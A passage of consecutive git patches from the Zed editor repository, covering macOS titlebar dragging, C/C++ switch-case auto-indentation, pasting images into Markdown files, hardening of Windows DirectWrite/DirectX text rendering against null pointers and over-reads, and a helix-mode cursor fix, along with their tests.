@@ -381,10 +381,13 @@ pub fn build_window_options(display_uuid: Option<Uuid>, cx: &mut App) -> WindowO
         focus: false,
         show: false,
         kind: WindowKind::Normal,
-        // On macOS, Zed handles window movement itself, so disable AppKit's titlebar dragging.
-        // On other platforms, `is_movable` gates native window dragging (e.g. Windows'
-        // `HTCAPTION` hit test), so it must remain `true`.
-        is_movable: cfg!(not(target_os = "macos")),
+        is_movable: true,
+        // Zed draws its own titlebar and moves the window via [`Window::start_window_move`],
+        // so on macOS AppKit should not own titlebar dragging. This avoids the titlebar
+        // click delay from AppKit's drag disambiguation (first observed on macOS 27) while
+        // keeping the window movable and the Window-menu tiling items enabled. No-op on
+        // other platforms.
+        app_owns_titlebar_drag: true,
         display_id: display.map(|display| display.id()),
         window_background: cx.theme().window_background_appearance(),
         app_id: Some(app_id.to_owned()),

From aeeacf5439b2d30d01e38d65d767e6f31b255ecc Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Mon, 13 Jul 2026 04:32:26 +0530
Subject: [PATCH 409/772] Indent statements under C/C++ case labels (#60758)

# Objective

Fixes #60261

Nothing under a `case` gets indented in C or C++, and the next `case`
doesn't come back out. It stays flat until you hit `editor: format`.

## Solution

The indent queries had no rule for case labels. Added the same pair
`cpp/indents.scm` uses for `access_specifier`: open an indent range at
the label, close it at the switch's `}`, outdent on the next label.

The part that got me: `@start` uses the *end* of the node you capture.
Fine for `access_specifier`, which is just `public:`. But a
`case_statement` swallows the statements under it, so capturing the node
starts the range after the last one. Capture the `:` instead. `default:`
is a `case_statement` too, so it comes along free.

Only affects what happens after a label, so existing `case` alignment
doesn't move.

## Testing

`test_c_autoindent_switch_case` and `test_cpp_autoindent_switch_case`
cover a plain case, fall-through labels and `default`. Both fail on
main. The `access_specifier` tests still pass.

Not mine, but worth knowing: `typescript::tests::test_outline` and
`test_generator_function_outline` are flaky on main, failing about half
my full `cargo test -p languages --lib` runs with or without this
change.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed statements under a `case` label not being indented in C and C++
([#60261](https://github.com/zed-industries/zed/issues/60261)).
---
 crates/grammars/src/c/indents.scm   |  9 ++++
 crates/grammars/src/cpp/indents.scm |  9 ++++
 crates/languages/src/c.rs           | 64 +++++++++++++++++++++++++++++
 crates/languages/src/cpp.rs         | 64 +++++++++++++++++++++++++++++
 4 files changed, 146 insertions(+)

diff --git a/crates/grammars/src/c/indents.scm b/crates/grammars/src/c/indents.scm
index 41f3c4fd3d4a20..d119e5eedcee9b 100644
--- a/crates/grammars/src/c/indents.scm
+++ b/crates/grammars/src/c/indents.scm
@@ -17,6 +17,15 @@
   "{"
   "}" @end) @indent
 
+(compound_statement
+  (case_statement
+    ":" @start)
+  "}" @end) @indent
+
+(compound_statement
+  (case_statement)
+  (case_statement) @outdent)
+
 (_
   "("
   ")" @end) @indent
diff --git a/crates/grammars/src/cpp/indents.scm b/crates/grammars/src/cpp/indents.scm
index d8c71736e9dd54..d8b677348b4f14 100644
--- a/crates/grammars/src/cpp/indents.scm
+++ b/crates/grammars/src/cpp/indents.scm
@@ -25,6 +25,15 @@
   (access_specifier)
   (access_specifier) @outdent)
 
+(compound_statement
+  (case_statement
+    ":" @start)
+  "}" @end) @indent
+
+(compound_statement
+  (case_statement)
+  (case_statement) @outdent)
+
 (_
   "("
   ")" @end) @indent
diff --git a/crates/languages/src/c.rs b/crates/languages/src/c.rs
index 80d794cd617513..eb24dea0deef5f 100644
--- a/crates/languages/src/c.rs
+++ b/crates/languages/src/c.rs
@@ -451,6 +451,70 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_c_autoindent_switch_case(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let test_settings = SettingsStore::test(cx);
+            cx.set_global(test_settings);
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |s| {
+                    s.project.all_languages.defaults.tab_size = NonZeroU32::new(2);
+                });
+            });
+        });
+        let language = crate::language("c", tree_sitter_c::LANGUAGE.into());
+
+        cx.new(|cx| {
+            let mut buffer = Buffer::local("", cx).with_language(language, cx);
+
+            buffer.edit(
+                [(
+                    0..0,
+                    r#"
+                    int main() {
+                    switch (a) {
+                    case 1:
+                    b++;
+                    break;
+                    case 2:
+                    case 3:
+                    c++;
+                    break;
+                    default:
+                    d++;
+                    }
+                    }
+                    "#
+                    .unindent(),
+                )],
+                Some(AutoindentMode::EachLine),
+                cx,
+            );
+            assert_eq!(
+                buffer.text(),
+                r#"
+                int main() {
+                  switch (a) {
+                    case 1:
+                      b++;
+                      break;
+                    case 2:
+                    case 3:
+                      c++;
+                      break;
+                    default:
+                      d++;
+                  }
+                }
+                "#
+                .unindent(),
+                "statements under a case label should be indented, and the next label outdented"
+            );
+
+            buffer
+        });
+    }
+
     #[gpui::test]
     async fn test_c_autoindent_if_else(cx: &mut TestAppContext) {
         cx.update(|cx| {
diff --git a/crates/languages/src/cpp.rs b/crates/languages/src/cpp.rs
index 0577a558260582..f09438a939abb1 100644
--- a/crates/languages/src/cpp.rs
+++ b/crates/languages/src/cpp.rs
@@ -16,6 +16,70 @@ mod tests {
     use std::num::NonZeroU32;
     use unindent::Unindent;
 
+    #[gpui::test]
+    async fn test_cpp_autoindent_switch_case(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let test_settings = SettingsStore::test(cx);
+            cx.set_global(test_settings);
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |s| {
+                    s.project.all_languages.defaults.tab_size = NonZeroU32::new(2);
+                });
+            });
+        });
+        let language = crate::language("cpp", tree_sitter_cpp::LANGUAGE.into());
+
+        cx.new(|cx| {
+            let mut buffer = Buffer::local("", cx).with_language(language, cx);
+
+            buffer.edit(
+                [(
+                    0..0,
+                    r#"
+                    int main() {
+                    switch (a) {
+                    case 1:
+                    b++;
+                    break;
+                    case 2:
+                    case 3:
+                    c++;
+                    break;
+                    default:
+                    d++;
+                    }
+                    }
+                    "#
+                    .unindent(),
+                )],
+                Some(AutoindentMode::EachLine),
+                cx,
+            );
+            assert_eq!(
+                buffer.text(),
+                r#"
+                int main() {
+                  switch (a) {
+                    case 1:
+                      b++;
+                      break;
+                    case 2:
+                    case 3:
+                      c++;
+                      break;
+                    default:
+                      d++;
+                  }
+                }
+                "#
+                .unindent(),
+                "statements under a case label should be indented, and the next label outdented"
+            );
+
+            buffer
+        });
+    }
+
     #[gpui::test]
     async fn test_cpp_autoindent_access_specifier(cx: &mut TestAppContext) {
         cx.update(|cx| {

From 715557fe51ce8baff5bef1259a1d2fe133d2b4f9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Kh=C3=B4i=20Tran?= <kt@compile.ch>
Date: Mon, 13 Jul 2026 11:12:47 +0200
Subject: [PATCH 410/772] editor: Add support for pasting images in Markdown
 (#58588)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #18112

Release Notes:

- Added support for pasting images from clipboard into Markdown files

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/editor/src/clipboard.rs    |  98 +++++++++++
 crates/editor/src/editor_tests.rs | 267 ++++++++++++++++++++++++++++++
 crates/gpui/src/platform.rs       |  15 ++
 3 files changed, 380 insertions(+)

diff --git a/crates/editor/src/clipboard.rs b/crates/editor/src/clipboard.rs
index 90818dbe3131a8..02c4d6c818ee33 100644
--- a/crates/editor/src/clipboard.rs
+++ b/crates/editor/src/clipboard.rs
@@ -1,4 +1,5 @@
 use super::*;
+use util::rel_path::RelPath;
 
 #[derive(Serialize, Deserialize, Clone, Debug)]
 pub struct ClipboardSelection {
@@ -263,6 +264,63 @@ impl Editor {
         if self.read_only(cx) {
             return;
         }
+
+        let clipboard_image = item.entries().iter().find_map(|entry| match entry {
+            ClipboardEntry::Image(image) if !image.bytes.is_empty() => Some(image),
+            _ => None,
+        });
+
+        if let Some(image) = clipboard_image {
+            let is_markdown = {
+                let display_map = self.display_snapshot(cx);
+                let selections = self.selections.all::<MultiBufferOffset>(&display_map);
+                selections
+                    .first()
+                    .and_then(|s| display_map.buffer_snapshot().language_at(s.head()))
+                    .map(|lang| lang.name() == "Markdown")
+                    .unwrap_or(false)
+            };
+
+            if is_markdown {
+                let handled = maybe!({
+                    let buffer = self.buffer().read(cx).as_singleton()?;
+                    let file = buffer.read(cx).file()?;
+                    let worktree_id = file.worktree_id(cx);
+                    let dir_rel_path = file.path().parent()?.into_arc();
+                    let worktree = self
+                        .project
+                        .as_ref()?
+                        .read(cx)
+                        .worktree_for_id(worktree_id, cx)?;
+
+                    let extension = image.format.extension();
+                    let snapshot = worktree.read(cx).snapshot();
+                    let (filename, file_path) =
+                        unused_image_path(&dir_rel_path, extension, |path| {
+                            snapshot.entry_for_path(path).is_some()
+                        })?;
+
+                    let create_task = worktree.update(cx, |worktree, cx| {
+                        worktree.create_entry(file_path, false, Some(image.bytes.clone()), cx)
+                    });
+
+                    cx.spawn_in(window, async move |editor, cx| {
+                        create_task.await?;
+                        editor.update_in(cx, |editor, window, cx| {
+                            editor.insert_image_snippet(&filename, window, cx)
+                        })
+                    })
+                    .detach_and_log_err(cx);
+
+                    Some(())
+                });
+                if handled.is_some() {
+                    // stop clipboard handling when the snippet is inserted
+                    return;
+                }
+            }
+        }
+
         let clipboard_string = item.entries().iter().find_map(|entry| match entry {
             ClipboardEntry::String(s) => Some(s),
             _ => None,
@@ -279,6 +337,26 @@ impl Editor {
         }
     }
 
+    fn insert_image_snippet(
+        &mut self,
+        filename: &str,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(snippet) = Snippet::parse(&format!("![$1]({filename})$0")).log_err() else {
+            return;
+        };
+        let display_map = self.display_snapshot(cx);
+        let insertion_ranges: Vec<Range<MultiBufferOffset>> = self
+            .selections
+            .all::<MultiBufferOffset>(&display_map)
+            .into_iter()
+            .map(|selection| selection.start..selection.end)
+            .collect();
+        self.insert_snippet(&insertion_ranges, snippet, window, cx)
+            .log_err();
+    }
+
     pub(super) fn cut_common(
         &mut self,
         cut_no_selection_line: bool,
@@ -651,6 +729,26 @@ fn edit_for_markdown_paste<'a>(
     (range, new_text)
 }
 
+/// Returns a filename of the form `image.{extension}` (or `image_{N}.{extension}`
+/// if taken) that does not collide with an existing entry in `dir_rel_path`,
+/// along with the full path of the candidate file.
+fn unused_image_path(
+    dir_rel_path: &RelPath,
+    extension: &str,
+    exists: impl Fn(&RelPath) -> bool,
+) -> Option<(String, Arc<RelPath>)> {
+    let mut filename = format!("image.{extension}");
+    let mut counter = 1u32;
+    loop {
+        let candidate = dir_rel_path.join(RelPath::unix(&filename).ok()?);
+        if !exists(&candidate) {
+            return Some((filename, candidate));
+        }
+        filename = format!("image_{counter}.{extension}");
+        counter += 1;
+    }
+}
+
 /// Whether `text` consists solely of a single URL, as opposed to merely
 /// starting with a scheme-like prefix (e.g. a commit message like
 /// `editor: Fix ...`, which `url::Url::parse` would accept).
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 43b30c471a2690..bc0c36870c6021 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -35641,6 +35641,273 @@ async fn test_paste_url_from_other_app_creates_markdown_link_selectively_in_mult
     ));
 }
 
+#[gpui::test]
+async fn test_paste_image_in_markdown_saves_file_and_inserts_markdown(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let markdown_language = Arc::new(Language::new(
+        LanguageConfig {
+            name: "Markdown".into(),
+            ..LanguageConfig::default()
+        },
+        None,
+    ));
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree("/test", serde_json::json!({"test.md": ""}))
+        .await;
+    let project = Project::test(fs.clone(), [std::path::Path::new("/test")], cx).await;
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer("/test/test.md", cx)
+        })
+        .await
+        .unwrap();
+    buffer.update(cx, |buffer, cx| {
+        buffer.set_language(Some(markdown_language), cx);
+    });
+
+    let editor_window = cx.add_window(|window, cx| {
+        let editor = build_editor_with_project(
+            project,
+            MultiBuffer::build_from_buffer(buffer, cx),
+            window,
+            cx,
+        );
+        window.focus(&editor.focus_handle(cx), cx);
+        editor
+    });
+    cx.run_until_parked();
+    let mut cx = EditorTestContext::for_editor(editor_window, cx).await;
+
+    let png_bytes: Vec<u8> = vec![1, 2, 3, 4, 5];
+    let image = gpui::Image::from_bytes(gpui::ImageFormat::Png, png_bytes.clone());
+
+    cx.set_state("ˇ");
+    cx.update_editor(|editor, window, cx| {
+        cx.write_to_clipboard(ClipboardItem::new_image(&image));
+        editor.paste(&Paste, window, cx);
+    });
+    cx.run_until_parked();
+
+    let buffer_text = cx.buffer_text();
+    assert!(
+        buffer_text.starts_with("![](image") && buffer_text.ends_with(".png)"),
+        "expected markdown image syntax, got: {buffer_text:?}"
+    );
+
+    // Cursor should land inside [] so the user can type alt text immediately.
+    let filename_in_parens = &buffer_text["![](".len()..buffer_text.len() - 1];
+    let expected_state = format!("![ˇ]({filename_in_parens})");
+    cx.assert_editor_state(&expected_state);
+
+    let filename = &buffer_text["![](".len()..buffer_text.len() - 1];
+    assert_eq!(
+        fs.read_file_sync(format!("/test/{filename}")).unwrap(),
+        png_bytes,
+        "image file contents should match clipboard bytes"
+    );
+}
+
+#[gpui::test]
+async fn test_paste_multiple_images_in_markdown_increments_filename(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let markdown_language = Arc::new(Language::new(
+        LanguageConfig {
+            name: "Markdown".into(),
+            ..LanguageConfig::default()
+        },
+        None,
+    ));
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree("/test", serde_json::json!({"test.md": ""}))
+        .await;
+    let project = Project::test(fs.clone(), [std::path::Path::new("/test")], cx).await;
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer("/test/test.md", cx)
+        })
+        .await
+        .unwrap();
+    buffer.update(cx, |buffer, cx| {
+        buffer.set_language(Some(markdown_language), cx);
+    });
+
+    let editor_window = cx.add_window(|window, cx| {
+        let editor = build_editor_with_project(
+            project,
+            MultiBuffer::build_from_buffer(buffer, cx),
+            window,
+            cx,
+        );
+        window.focus(&editor.focus_handle(cx), cx);
+        editor
+    });
+    cx.run_until_parked();
+    let mut cx = EditorTestContext::for_editor(editor_window, cx).await;
+
+    let png_bytes_1: Vec<u8> = vec![1, 2, 3, 4, 5];
+    let png_bytes_2: Vec<u8> = vec![6, 7, 8, 9, 10];
+    let png_bytes_3: Vec<u8> = vec![11, 12, 13, 14, 15];
+    let image_1 = gpui::Image::from_bytes(gpui::ImageFormat::Png, png_bytes_1.clone());
+    let image_2 = gpui::Image::from_bytes(gpui::ImageFormat::Png, png_bytes_2.clone());
+    let image_3 = gpui::Image::from_bytes(gpui::ImageFormat::Png, png_bytes_3.clone());
+
+    // Paste first image — should produce image.png
+    cx.set_state("ˇ");
+    cx.update_editor(|editor, window, cx| {
+        cx.write_to_clipboard(ClipboardItem::new_image(&image_1));
+        editor.paste(&Paste, window, cx);
+    });
+    cx.run_until_parked();
+    let text_after_first = cx.buffer_text();
+    assert_eq!(
+        text_after_first, "![](image.png)",
+        "first paste should produce image.png"
+    );
+    assert_eq!(fs.read_file_sync("/test/image.png").unwrap(), png_bytes_1);
+
+    // Paste second image at end — should produce image_1.png
+    cx.update_editor(|editor, window, cx| {
+        cx.write_to_clipboard(ClipboardItem::new_image(&image_2));
+        editor.paste(&Paste, window, cx);
+    });
+    cx.run_until_parked();
+    let text_after_second = cx.buffer_text();
+    assert!(
+        text_after_second.contains("![](image_1.png)"),
+        "second paste should produce image_1.png, got: {text_after_second:?}"
+    );
+    assert_eq!(fs.read_file_sync("/test/image_1.png").unwrap(), png_bytes_2);
+
+    // Paste third image — should produce image_2.png
+    cx.update_editor(|editor, window, cx| {
+        cx.write_to_clipboard(ClipboardItem::new_image(&image_3));
+        editor.paste(&Paste, window, cx);
+    });
+    cx.run_until_parked();
+    let text_after_third = cx.buffer_text();
+    assert!(
+        text_after_third.contains("![](image_2.png)"),
+        "third paste should produce image_2.png, got: {text_after_third:?}"
+    );
+    assert_eq!(fs.read_file_sync("/test/image_2.png").unwrap(), png_bytes_3);
+}
+
+#[gpui::test]
+async fn test_paste_image_in_non_markdown_does_not_insert_markdown(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let rust_language = Arc::new(Language::new(
+        LanguageConfig {
+            name: "Rust".into(),
+            ..LanguageConfig::default()
+        },
+        None,
+    ));
+
+    let mut cx = EditorTestContext::new(cx).await;
+    cx.update_buffer(|buffer, cx| buffer.set_language(Some(rust_language), cx));
+    cx.set_state("ˇ");
+
+    let image = gpui::Image::from_bytes(gpui::ImageFormat::Png, vec![1, 2, 3]);
+    cx.update_editor(|editor, window, cx| {
+        cx.write_to_clipboard(ClipboardItem::new_image(&image));
+        editor.paste(&Paste, window, cx);
+    });
+
+    cx.assert_editor_state("ˇ");
+}
+
+#[gpui::test]
+async fn test_paste_image_in_markdown_without_open_file_falls_through(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let markdown_language = Arc::new(Language::new(
+        LanguageConfig {
+            name: "Markdown".into(),
+            ..LanguageConfig::default()
+        },
+        None,
+    ));
+
+    // Build an editor whose buffer has no associated file path on disk.
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        let buffer = cx.new(|cx| language::Buffer::local("", cx));
+        buffer.update(cx, |buffer, cx| {
+            buffer.set_language(Some(markdown_language), cx);
+        });
+        let multibuffer = MultiBuffer::build_from_buffer(buffer, cx);
+        build_editor(multibuffer, window, cx)
+    });
+    let mut cx = EditorTestContext::for_editor_in(editor, cx).await;
+
+    cx.set_state("ˇ");
+    let image = gpui::Image::from_bytes(gpui::ImageFormat::Png, vec![1, 2, 3]);
+    cx.update_editor(|editor, window, cx| {
+        cx.write_to_clipboard(ClipboardItem::new_image(&image));
+        editor.paste(&Paste, window, cx);
+    });
+
+    cx.assert_editor_state("ˇ");
+}
+
+#[gpui::test]
+async fn test_paste_image_in_markdown_single_file_worktree_falls_through(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let markdown_language = Arc::new(Language::new(
+        LanguageConfig {
+            name: "Markdown".into(),
+            ..LanguageConfig::default()
+        },
+        None,
+    ));
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree("/root", serde_json::json!({"test.md": ""}))
+        .await;
+    let project = Project::test(fs.clone(), [std::path::Path::new("/root/test.md")], cx).await;
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer("/root/test.md", cx)
+        })
+        .await
+        .unwrap();
+    buffer.update(cx, |buffer, cx| {
+        buffer.set_language(Some(markdown_language), cx);
+    });
+
+    let editor_window = cx.add_window(|window, cx| {
+        let editor = build_editor_with_project(
+            project,
+            MultiBuffer::build_from_buffer(buffer, cx),
+            window,
+            cx,
+        );
+        window.focus(&editor.focus_handle(cx), cx);
+        editor
+    });
+    cx.run_until_parked();
+    let mut cx = EditorTestContext::for_editor(editor_window, cx).await;
+
+    cx.set_state("ˇ");
+    let image = gpui::Image::from_bytes(gpui::ImageFormat::Png, vec![1, 2, 3]);
+    cx.update_editor(|editor, window, cx| {
+        cx.write_to_clipboard(ClipboardItem::new_image(&image));
+        editor.paste(&Paste, window, cx);
+    });
+    cx.run_until_parked();
+
+    cx.assert_editor_state("ˇ");
+    assert!(
+        fs.read_file_sync("/root/image.png").is_err(),
+        "no image file should be created for a single-file worktree"
+    );
+}
+
 #[gpui::test]
 async fn test_race_in_multibuffer_save(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 531145bcaa74f6..224fb5e20401d6 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -2317,6 +2317,21 @@ impl ImageFormat {
         }
     }
 
+    /// Returns the file extension for this image format (without leading dot).
+    pub const fn extension(self) -> &'static str {
+        match self {
+            ImageFormat::Png => "png",
+            ImageFormat::Jpeg => "jpg",
+            ImageFormat::Webp => "webp",
+            ImageFormat::Gif => "gif",
+            ImageFormat::Svg => "svg",
+            ImageFormat::Bmp => "bmp",
+            ImageFormat::Tiff => "tiff",
+            ImageFormat::Ico => "ico",
+            ImageFormat::Pnm => "pnm",
+        }
+    }
+
     /// Returns the ImageFormat for the given mime type, including known aliases.
     pub fn from_mime_type(mime_type: &str) -> Option<Self> {
         use strum::IntoEnumIterator;

From 89e8a4b9ec7e0fa8a49987a3c1dbf29343dc6999 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Mon, 13 Jul 2026 05:54:38 -0400
Subject: [PATCH 411/772] gpui_windows: Harden DirectWrite and DirectX text
 rendering (#60124)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This hardens the Windows text rendering path in gpui_windows against
undefined behavior and out-of-bounds access. DirectWrite hands back
glyph-run arrays (glyph indices, advances, offsets) and cluster maps as
raw pointers that may be null; these are now interpreted through a
shared `slice_from_nullable` helper that treats a null pointer with zero
length as an empty slice and returns `E_INVALIDARG` when a null pointer
arrives with a nonzero length, instead of constructing a slice from a
null pointer. It also fixes a provenance bug: the renderer context
passed to `IDWriteTextLayout::Draw` was derived via `&raw const` from a
non-mut binding, but the `DrawGlyphRun` callback recovers that pointer
and writes through it, which is undefined behavior under Stacked/Tree
Borrows; the binding is now `mut` and the pointer is derived from `&raw
mut` so its provenance matches the write (codegen is unchanged).

On the DirectX side, the atlas upload is now bounded by the source slice
length so a mismatched destination region cannot read past the end of
the source, and the color-glyph staging texture is unmapped after
readback so the mapping is no longer leaked and the resource pinned. The
color-glyph rasterizer drives the shared, non-thread-safe D3D11
immediate context that `DirectXRenderer` and `DirectXAtlas` also use, so
it must stay on the main UI thread — which it always is today; a comment
documents that invariant.

Since gpui_windows is a Windows-only crate, it cannot be compiled on
non-Windows hosts, so Windows CI is the compile gate for these changes.

Release Notes:

- N/A
---
 crates/gpui_windows/src/direct_write.rs  | 70 +++++++++++++++++++++---
 crates/gpui_windows/src/directx_atlas.rs | 18 ++++++
 2 files changed, 79 insertions(+), 9 deletions(-)

diff --git a/crates/gpui_windows/src/direct_write.rs b/crates/gpui_windows/src/direct_write.rs
index ebf99c8951aa2f..08ae7a998f8a06 100644
--- a/crates/gpui_windows/src/direct_write.rs
+++ b/crates/gpui_windows/src/direct_write.rs
@@ -608,7 +608,7 @@ impl DirectWriteState {
             }
 
             let mut runs = Vec::new();
-            let renderer_context = RendererContext {
+            let mut renderer_context = RendererContext {
                 text_system: self,
                 components,
                 index_converter: StringIndexConverter::new(text),
@@ -616,7 +616,7 @@ impl DirectWriteState {
                 width: 0.0,
             };
             text_layout.Draw(
-                Some((&raw const renderer_context).cast::<c_void>()),
+                Some((&raw mut renderer_context).cast::<c_void>().cast_const()),
                 &components.text_renderer.0,
                 0.0,
                 0.0,
@@ -881,6 +881,10 @@ impl DirectWriteState {
         params: &RenderGlyphParams,
         glyph_bounds: Bounds<DevicePixels>,
     ) -> Result<Vec<u8>> {
+        // INVARIANT: the code below drives the *shared* D3D11 immediate context
+        // (`Map`/`Unmap`/`Draw`/`CopyResource`), which `DirectXRenderer` and `DirectXAtlas` also
+        // touch. An immediate `ID3D11DeviceContext` is not thread-safe, so this must only run on
+        // the main UI thread (which it always is; text rasterization never leaves that thread).
         let bitmap_size = glyph_bounds.size;
         let subpixel_shift = params
             .subpixel_variant
@@ -1174,6 +1178,10 @@ impl DirectWriteState {
             };
         }
 
+        // Release the mapping now that the rows have been copied out; leaving `staging_texture`
+        // mapped would leak the mapping and keep the resource pinned for later reuse.
+        unsafe { device_context.Unmap(&staging_texture, 0) };
+
         // Convert from premultiplied to straight alpha
         for chunk in rasterized.chunks_exact_mut(4) {
             let b = chunk[0] as f32;
@@ -1519,13 +1527,34 @@ impl IDWriteTextRenderer_Impl for TextRenderer_Impl {
 
         let color_font = unsafe { font_face.IsColorFont().as_bool() };
 
-        let glyph_ids = unsafe { std::slice::from_raw_parts(glyphrun.glyphIndices, glyph_count) };
-        let glyph_advances =
-            unsafe { std::slice::from_raw_parts(glyphrun.glyphAdvances, glyph_count) };
-        let glyph_offsets =
-            unsafe { std::slice::from_raw_parts(glyphrun.glyphOffsets, glyph_count) };
-        let cluster_map =
-            unsafe { std::slice::from_raw_parts(desc.clusterMap, desc.stringLength as usize) };
+        let glyph_ids = unsafe {
+            slice_from_nullable(
+                glyphrun.glyphIndices,
+                glyph_count,
+                "DirectWrite returned a null glyph indices array",
+            )?
+        };
+        let glyph_advances = unsafe {
+            slice_from_nullable(
+                glyphrun.glyphAdvances,
+                glyph_count,
+                "DirectWrite returned a null glyph advances array",
+            )?
+        };
+        let glyph_offsets = unsafe {
+            slice_from_nullable(
+                glyphrun.glyphOffsets,
+                glyph_count,
+                "DirectWrite returned a null glyph offsets array",
+            )?
+        };
+        let cluster_map = unsafe {
+            slice_from_nullable(
+                desc.clusterMap,
+                desc.stringLength as usize,
+                "DirectWrite returned a null cluster map",
+            )?
+        };
 
         let cluster_analyzer = ClusterAnalyzer::new(cluster_map, glyph_count);
         let mut utf16_idx = desc.textPosition as usize;
@@ -1605,6 +1634,29 @@ impl IDWriteTextRenderer_Impl for TextRenderer_Impl {
     }
 }
 
+/// Interprets an optional DirectWrite array pointer as a slice, treating a
+/// null pointer with a zero length as an empty slice. A null pointer with a
+/// nonzero length fails with `null_error_message`.
+///
+/// # Safety
+///
+/// When `ptr` is non-null, the caller must guarantee that it points to a valid
+/// array of at least `len` elements that outlives the returned slice.
+unsafe fn slice_from_nullable<'a, T>(
+    ptr: *const T,
+    len: usize,
+    null_error_message: &str,
+) -> windows::core::Result<&'a [T]> {
+    if ptr.is_null() {
+        if len != 0 {
+            return Err(Error::new(E_INVALIDARG, null_error_message));
+        }
+        Ok(&[])
+    } else {
+        Ok(unsafe { std::slice::from_raw_parts(ptr, len) })
+    }
+}
+
 struct StringIndexConverter<'a> {
     text: &'a str,
     utf8_ix: usize,
diff --git a/crates/gpui_windows/src/directx_atlas.rs b/crates/gpui_windows/src/directx_atlas.rs
index d5b1a67430951b..62386997f5efd4 100644
--- a/crates/gpui_windows/src/directx_atlas.rs
+++ b/crates/gpui_windows/src/directx_atlas.rs
@@ -282,6 +282,24 @@ impl DirectXAtlasTexture {
         bounds: Bounds<DevicePixels>,
         bytes: &[u8],
     ) {
+        // `UpdateSubresource` reads `row_pitch * height` bytes from `bytes` based on the
+        // `D3D11_BOX` below. If the caller hands us a slice shorter than that, the driver would
+        // over-read past the end of the source buffer (potentially by multiple megabytes), so bail
+        // out instead. This is a first-insert path rather than a per-frame one, so the check is
+        // effectively free.
+        let row_bytes = bounds.size.width.to_bytes(self.bytes_per_pixel as u8) as usize;
+        let expected = row_bytes * bounds.size.height.0.max(0) as usize;
+        if bytes.len() < expected {
+            log::error!(
+                "DirectXAtlasTexture::upload: source slice is {} bytes but the {}x{} region \
+                 requires {} bytes; skipping upload to avoid a driver over-read",
+                bytes.len(),
+                bounds.size.width.0,
+                bounds.size.height.0,
+                expected,
+            );
+            return;
+        }
         unsafe {
             device_context.UpdateSubresource(
                 &self.texture,

From a12ed0fbaf3726976cc196c0697ddaf2439bf8b4 Mon Sep 17 00:00:00 2001
From: HuaGu-Dragon <1801943622@qq.com>
Date: Mon, 13 Jul 2026 18:11:29 +0800
Subject: [PATCH 412/772] vim: Remap cursor position with `display_point`
 (#60755)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- Fixes #53650
- Possibly also fixes #57956 (needs confirmation)

## Solution

- Replace the direct `DisplayPoint::new(row, col)` construction with a
proper buffer-point-to-display-point
- This goes through the full inlay → fold → tab → wrap → block pipeline
and correctly accounts for any inlay hints on the target line.

## Testing

- Added a regression test for multi-cursors with inlay hints in helix
mode

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed `Shift+C cursor` position with inlay hints in helix mode
---
 crates/vim/src/helix/duplicate.rs | 49 +++++++++++++++++++++++++++++--
 1 file changed, 46 insertions(+), 3 deletions(-)

diff --git a/crates/vim/src/helix/duplicate.rs b/crates/vim/src/helix/duplicate.rs
index 2069f61c29ca31..19d44d23a99cb1 100644
--- a/crates/vim/src/helix/duplicate.rs
+++ b/crates/vim/src/helix/duplicate.rs
@@ -3,7 +3,7 @@ use std::ops::Range;
 use editor::{DisplayPoint, MultiBufferOffset, display_map::DisplaySnapshot};
 use gpui::Context;
 use language::PointUtf16;
-use multi_buffer::MultiBufferRow;
